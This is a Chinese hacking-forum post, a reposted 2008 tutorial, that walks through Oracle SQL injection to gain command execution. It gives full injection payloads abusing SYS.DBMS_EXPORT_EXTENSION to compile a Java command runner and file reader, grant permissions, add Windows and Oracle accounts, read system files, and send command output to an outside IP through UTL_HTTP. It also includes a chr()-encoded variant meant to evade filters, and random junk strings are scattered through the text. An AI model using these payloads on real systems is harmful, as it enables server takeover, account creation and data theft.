找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2494|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 $ e' a# n) V( D
2 [# H. L# f9 ?! F
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
% f1 i- K$ j- r. ^的形式即可。(用" 'a'|| "是为了让语句返回true值)
8 t9 G# c8 A. j, |$ i语句有点长,可能要用post提交。
. U, d$ O* I9 J' w4 O: d以下是各个步骤:
0 U! O; ^( J5 z9 X% q! z& J. F1.创建包
8 S3 g- M- M$ o0 @/ C/ L! H: ~- H通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:8 a6 t" f9 g8 ]" y( z# b6 c/ T
/xxx.jsp?id=1 and '1'<>'a'||(
1 V& H* w6 R# _$ mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& p" E; o4 J( U$ ]7 B( Z$ Acreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(5 Z! T0 y7 n/ W. x: V2 M7 a
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}) s2 K% u4 z6 v( `% n
}'''';END;'';END;--','SYS',0,'1',0) from dual
' H1 O$ H4 M& `  e: a) * Z  m  E- i/ Y7 Z
------------------------ 5 N- A! Q8 n' q9 H7 y$ u) K7 Z; h
如果url有长度限制,可以把readFile()函数块去掉,即:
& F7 x' F* v. k6 z5 h: O9 l/ h/xxx.jsp?id=1 and '1'<>'a'||( 9 n. V( r+ o" @- \- T- O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 T' |8 |0 U, W: Z% ^
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(! w7 Q! U1 J5 \
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
+ a  F& B7 \- N' F: U}'''';END;'';END;--','SYS',0,'1',0) from dual 7 B+ u# V9 y% ^) R+ _' X9 Y* \6 Y
) % J: v$ |  n4 n+ F; ?' E7 X
同时把后面步骤 提到的 对readFile()的处理语句去掉。 3 o# t1 ~# y4 \$ T
------------------------------
! x0 v" E# C4 E+ W) v2.赋Java权限
! a  P  R, E, F. u2 [/ |; X' u! y' u& Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual/ {5 o" G- @: _8 U  v: R
3.创建函数 ) o' T4 l' u! o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 n4 w/ _7 g5 S" o) O
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
. T3 {* V3 u+ Q* F' _! eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ A2 r( O4 N* X8 N5 x
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual  Q( L/ y% [' D+ f( j
4.赋public执行函数的权限 4 m  Q3 g( t. }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 [' e$ P! n( Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual% B9 d+ u9 E' x9 b/ w1 [
5.测试上面的几步是否成功 1 ^. p9 g: j1 e2 ~
and '1'<>'11'||(   @, ^7 S: e& ]- n
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' ' y, Z; U8 `2 B( C$ u
)
2 G  h1 P$ s: ~' v+ e, z4 v0 k) Fand '1'<>(
' v* E. w  }5 Yselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
; k$ P. D7 K: q0 z; N/ p) . T/ F! @3 A1 D0 @" G
6.执行命令:
$ J9 G% N! h$ O# K, N- k: F- _/xxx.jsp?id=1 and '1'<>(
6 p: }* i/ e- }- B: q$ Y3 u- Hselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
* x; @0 P/ m7 _) I( ?- H
( O  C# b2 @& Z( I4 x/ j0 V* |)
5 K0 b4 h4 E" N6 S& }: g/xxx.jsp?id=1 and '1'<>(
9 {, m) t4 b* _8 h) f+ bselect  sys.LinxReadFile('c:/boot.ini') from dual
" [7 v9 _: b+ }5 w& X% Y# E$ P" |7 B; M4 S9 X& [: h( E/ R
)
+ {- T" G( j/ G+ d9 I# ^  
+ W& U5 W$ f4 |) ]: f0 O注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
! `8 _+ p1 o  _( M6 ]# I7 d! k如果要查看运行结果可以用 union :
% h% }2 f5 p" ~* ?/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
' W+ x5 m& T7 R9 S! f或者UTL_HTTP.request(:
% d2 A1 k6 j/ \; ?# p. i/xxx.jsp?id=1 and '1'<>(
3 m2 g) ~: q3 T" m% R4 BSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
$ e4 Q0 I4 \( L) ' s$ _  R: j7 M" q  l
/xxx.jsp?id=1 and '1'<>(
# F8 i5 H2 u+ M/ i. f, aSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
6 s: \% [8 j2 f  x) Z6 u) , S5 T5 ~% u2 L, j8 m
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
$ z) H9 e8 @7 d1 E9 V! z--------------------
) L% e: `$ c3 `0 |6.内部变化
0 r8 V' ~7 ?. D& T7 |' h通过以下命令可以查看all_objects表达改变:
6 U5 W8 l; Q, U1 e( v3 _0 Q; d( aselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
) E$ L+ P# K' _3 J+ D" V4 z/ B7.删除我们创建的函数
3 ~, c) D) t( Y1 D! z- f6 w5 Pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ L" x/ }8 Y2 t. G& f  i/ k& A2 Pdrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual - @- ~1 [! h* u3 |0 y3 r' y
====================================================
. J6 a( x, t! m8 n! J全文结束。谨以此文赠与我的朋友。 % c- ?7 X; K  A. F/ y. E( q
linx
5 e, w8 x; V" a+ C7 t124829445 9 |1 [- Q8 [/ V6 X' t8 C3 {9 Y
2008.1.12
" \% \! z* R- r0 ^linyujian@bjfu.edu.cn % ^$ L% V# J$ v
======================================================================   Y$ j; O  t* I
测试漏洞的另一方法:
9 p% c+ k' P! h; P创建oracle帐号:
4 m/ z6 Q) S8 @1 O! @9 k3 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 k) f0 f) ^: N
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
% P$ q5 x7 ?% B; p& Y; Z即:
2 T) F2 u7 z2 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
) K7 n% ^5 S+ p2 s' u: O* a; Kchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual - G& D( j( l4 z3 ~1 m: T  ]
确定漏洞存在:
4 M& g3 A5 [$ \) l& v. p1<>(
1 i$ z/ Y  B. }; J, J- ^select user_id from all_users where username='LINXSQL'
* q+ V6 x$ ^4 W3 v! b; }* Q# C  e)
) O5 G) J! H6 Q给linxsql连接权限: + W" @) d7 n1 H, R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 x3 z4 U- {2 z6 j2 X% @' @: u% W" z
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
6 s- `/ S  v3 `" b: w删除帐号:
$ u5 J; E0 K3 y+ P4 Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 T0 G. M0 U& U' fdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
: m; M. A$ t4 D* b======================
6 D- l! \: M, n% `1 p0 p) \以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:" k. n) T6 u2 N7 y( ?% h
1.jsp?id=1 and '1'<>(
/ ~+ g8 K  \' Z, H7 z, fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 j- j% p2 g$ N
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
7 Y2 F( g4 T; L0 P* ]" h9 j" G) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE' i$ p+ u: o; B' a9 o9 \  `7 A
 )
5 A1 p8 O) a6 F) n: v& m% S! j4 R7 c/ O% G
- E; G5 d- I9 E3 t

: ]' H5 V1 V' `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表